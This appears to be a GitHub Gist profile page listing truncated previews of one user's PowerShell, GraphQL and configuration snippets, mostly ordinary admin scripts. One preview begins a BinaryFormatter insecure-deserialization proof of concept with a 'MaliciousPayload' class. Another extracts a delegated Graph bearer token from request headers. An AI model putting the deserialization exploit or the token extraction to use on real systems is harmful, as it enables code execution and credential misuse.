Skip to content

Instantly share code, notes, and snippets.

View Calvindd2f's full-sized avatar
:electron:
exponential potential

Calvindd2f

:electron:
exponential potential
View GitHub Profile
@Calvindd2f
Calvindd2f / rewst.graphql
Created September 6, 2025 18:09
Rewst Web App GQL schema
This file has been truncated, but you can view the full file.
"\n mutation ToggleTrigger($input: TriggerUpdateInput!) {\n updateTrigger(trigger: $input) {\n id\n enabled\n }\n }\n": {
kind: "Document",
definitions: [{
kind: "OperationDefinition",
operation: "mutation",
name: {
kind: "Name",
value: "ToggleTrigger"
},
@Calvindd2f
Calvindd2f / assign_to_devicegroup.ps1
Created August 18, 2025 22:09
Intune Policy Strip Unique Identifiers. Strip IntuneManagement UUIDs
# It should really be a dynamic group but if hindsight was foresight we would all be millionaires
# POST https://graph.microsoft.com/beta/deviceManagement/configurationPolicies/{policyId}/assign
$policyId = "{policyId}"
$groupId = "{groupId}"
$body = @{
assignments = @(
@{
"@odata.type" = "#microsoft.graph.deviceManagementConfigurationPolicyAssignment"
target = @{
"@odata.type" = "#microsoft.graph.groupAssignmentTarget"
@Calvindd2f
Calvindd2f / BinaryFormatter_PoC_winpowershell.ps1
Last active August 18, 2025 22:12
Windows PowerShell Insecure deserialization. PowerShell Core has not been affected since ¬7.2.X . It's insecure deserialization because someone fat shamed it on the bus
# BinaryFormatter back with vengence (it never left) because System Admins are too lazy to use PS Core. 'muh ISE' - die in a hole
[System.AppContext]::SetSwitch('Switch.System.Runtime.Serialization.EnableUnsafeBinaryFormatterSerialization', $true) # Final working version.
Add-Type @'
using System;
using System.Runtime.Serialization;
using System.Diagnostics;
[Serializable]
public class MaliciousPayload : ISerializable {
public MaliciousPayload() { }
@Calvindd2f
Calvindd2f / Setup-DeEnvironment.ps1
Last active August 18, 2025 22:13
Calvins Neovim Configuration
# Setup-DevEnvironment.ps1
# Find the latest Visual Studio installation
$vswhere = "${env:ProgramFiles(x86)}\Microsoft Visual Studio\Installer\vswhere.exe"
$vsPath = & $vswhere -latest -property installationPath
if (-not $vsPath) {
Write-Error "Visual Studio installation not found. Please ensure Visual Studio Build Tools are installed."
exit 1
}
@Calvindd2f
Calvindd2f / chk_wsl.ps1
Created October 16, 2024 00:56
The main function Check-And-Shutdown-WSL does the following: Checks all window titles for "WSL" or "Linux" using the Get-WindowTitles function. If no WSL/Linux windows are found, it checks for running WSL processes. If WSL processes are found but no windows are open, it runs wsl --shutdown. If no WSL windows or processes are found, it reports th…
function chk_wsl {
Add-Type @"
using System;
using System.Runtime.InteropServices;
public class User32 {
[DllImport("user32.dll")]
public static extern IntPtr GetForegroundWindow();
[DllImport("user32.dll")]
# From PwSh
# Enable-WindowsOptionalFeature -Online -FeatureName Microsoft-Windows-Subsystem-Linux
# $userenv = [System.Environment]::GetEnvironmentVariable("Path", "User")
# [System.Environment]::SetEnvironmentVariable("PATH", $userenv + ";C:\Users\Administrator\Ubuntu", "User")
# wsl --shutdown
# wsl --update
# winget install --interactive --exact dorssel.usbipd-win
# usbipd list
function Format-StackTrace
{
param (
[Parameter(Mandatory = $true, ValueFromPipeline = $true)]
[System.Management.Automation.ErrorRecord]$ErrorRecord,
[switch]$RawOutput
)
process
Function ReturnDelegatedToken
{
$request=Invoke-MgGraphRequest -Method GET -Uri 'https://graph.microsoft.com/v1.0/me' -OutputType HttpResponseMessage
$B=$request.RequestMessage.Headers.Authorization.Scheme
$AT=$request.RequestMessage.Headers.Authorization.Parameter
return @{
Authorization = "$B $AT"
'User-Agent' = 'Mozilla/5.0, (Windows NT 10.0; Microsoft Windows 10.0.26100; en-NL), PowerShell/7.4.5, Invoke-MgGraphRequest'
'Accept-Encoding' = 'gzip'
@Calvindd2f
Calvindd2f / Repalce-Secret.ps1
Last active September 28, 2024 23:16
Function for en masse replacing rotated secrets in a series of text files.
function Replace-Secret {
<#
.SYNOPSIS
Replaces a specified string (such as a secret) in a file with a new string.
.DESCRIPTION
This function reads a file, replaces all occurrences of a specified old string with a new string, and writes the changes back to the file.
.PARAMETER FilePath
The path to the file where the replacement should occur.
@Calvindd2f
Calvindd2f / StringSlicer.ps1
Created September 26, 2024 21:59
Class for slicing string similar to Python
class StringSlicer {
[string]$StringValue
StringSlicer([string]$initialValue) {
$this.StringValue = $initialValue
}
[string] Slice([int]$start, [int]$length) {
if ($length -eq 0 -or $start -ge $this.StringValue.Length) {
return ''